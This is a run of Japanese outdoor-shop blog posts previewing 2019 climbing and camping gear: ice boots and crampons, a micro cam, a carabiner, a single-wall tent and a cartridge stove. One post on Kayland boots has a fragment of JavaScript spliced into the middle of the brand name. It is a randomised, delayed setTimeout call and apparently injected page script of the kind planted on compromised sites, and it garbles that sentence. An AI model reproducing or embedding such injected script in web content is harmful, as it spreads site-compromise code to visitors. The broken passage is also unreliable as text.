19/20FWな話し、その3:持込マッチング編<1>

「イケそーかどーか靴持って会場入りして下さい」とのK島くん指示により準備万端。ブーツよし、工具よし、時間たっぷり!。

工場長がこーゆーことはじめると「変な人オーラ」全開なので、誰も近寄ってきませんが、色々試すには最適な環境です(笑)!。

コチラ、T-DRY(Tドライ)。DRY DRAGON(ドライドラゴン)用のクランポン。『暴走前エヴァ』と命名します。

そんでもってコチラがシンクロ率400%越、『暴走後覚醒エヴァ』。ICE DRAGON(アイスドラゴン)についている方。

ほれ、こーすれば、エヴァンゲリオン感が増します。

えっ!、伝わらない!?。そんなヲタ度足りない連中はコレ見とけ

19/20FWな話し、その2:フルートブーツ浅草編 3/3

で、つづいて先ずは、DRY DRAGON(ドライドラゴン)!!。初体験のローカットフルートブーツ。

もう、こーなるとフラットソールだな・・・(笑)。

で、お待ち遠様でした!。次回はマニアなら気になって仕方ない、『持込マッチング編』をお送りします!!。お楽しみに!!。

19/20FWな話し、その2:フルートブーツ浅草編 1/3

「何かイイ感じでしたよ」というK島くん情報を信じ、朝一MMさんブースのコレ狙い!。

KayLandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and社からリリース、ICE DRAGON(アイスドラゴン)とDRY DRAGON(ドライドラゴン)。

カーボンソールには雌ネジがビルドイン、昨日のアレに比べ極めて今っぽいね!!。

でも、ヒモで縛るあたりはアナログだわ・・・。

19/20FWな話し、その1:フルートブーツ池袋編

大抵は時系列的に書いておりますが、諸事情ございまして今回は新作フルートブーツの話題から。

その筋の人は興味津々、堅気にはまるで伝わらない・・・(笑)!。

イワタニさんブースより、LOWA社 ICE ROCKET GT(アイス ロケット)。
B社 RAPTOR CRAMPONS(ラプター クランポン)が標準装備となります。

「重量490g(UK8.0 片足)、サイズ展開UK4.0-11、予価@85,000+税」が現在のところの情報。

以前見たプロトタイプより遙かにソールの硬度は良くなっていますね。BOAシステムですが、コードにあまり遊びがないので、甲高な人は足を入れがやや難かなぁ~。

また、クランポンの取付はかなりアナログです・・・。

代理店サイドも、限りなく少量の発注と在庫と思われますので興味がある方はご相談下さい。サンプルサイズはUK8.0と思われる・・・。

19SS、来年の新作・気になる物(その13)

つづいてKEMさんのブース。

来期、Dragon Cam(ドラゴンカム)のチビ番手、『Dragonfly Micro Cam(ドラゴンフライマイクロカム)』がリリースされます。

マイクロカムの追加により7.4mm(Dragonfly #1)~195mm(Dragon #8)、細線から極太割れ目までDMMブランドでカバー出来るよーになります。

大先生も思わずピースサイン(笑)!!。

19SS、来年の新作・気になる物(その12)

鉄臭くなる前にもう少し、今週はシナノさんブースから。

重量比強度バランスが絶妙なフォールダーFREEがシステム変更、その名も「フォールダーTWIST」。

グローブつけてたら当然、素手でも押しにくかったあの銀玉が楽にへっこみます。コレ考えた担当者にボーナスあげて下さい!!。

いや~、新富士さんと言い、プロモンテさんと言い、池袋出展の国内ブランド勢いあるなぁ~。

19SS、来年の新作・気になる物(その11)

PUROMONTE(プロモンテ)さんのブースです。

気になるのはコチラ。

東レと共同開発した多孔質素材を用いた防水(耐水圧4,000mm)・透湿性(B-1法25,000g/mm)・高通気性(通常エントラントの50倍!!)の素材で作られたシングルウォールテント。

■1人用VB-10:縦205×横90×高100/cmで本体/ポール重量が1,050g。

■2人用VB-20:縦205×横120×高100/cmで本体/ポール重量が1,140g。

■3人用VB-30:縦205×横150×高105/cmで本体/ポール重量が1,360g。

G系シングルウォールよりも、今時なダブルウォールより軽めな設定、メッシュありで虫対策も完璧、オプション外張りも販売予定!、お~、素晴らしい!!。

メッシュ外す、3層止める、もっと軽さを求めればやり方はありますが、ツエルトやシェルターではなくあくまでもテントですから、丁度イイ感じなのかなぁ。

サンプル借りたら中でガンガン飯作ってみたい!!(笑)。

19SS、来年の新作・気になる物(その10-2)

OD缶に比べ、CB缶は猛烈安い。

ただ、CB缶が使えるストーブは、あんなのだったり、こんなのだったり、そんなのだったり、「デカい・重い・不整地で使いにくい」など、山岳仕様感が薄い。

が、ST-330(仮)は違う。分離型なので不整地での安定性◎、本体重量250gにまでダイエット。

悪意に満ちた団体!?の圧力により、「CB缶仕様のストーブの軽量化NG」と信じていた俺が馬鹿だった・・・。

「これアリなの?」と問えば、「全然アリです」と即答・・・。

CB缶のメリットは安いだけじゃない。入手が超簡単、コンビニ寄れば24時間体制で何処でも買える!!。

勿論、使用温度域は限られますが、日本国内、飛行機での移動や僻地での燃料入手、「燃料問題」に悩まされる事はありません!!。

そんな訳で、コレは買いだな。

来年は何がリリースされるのか?。俺的野望は「CB缶仕様、高効率コンロ」が作って欲しい!!。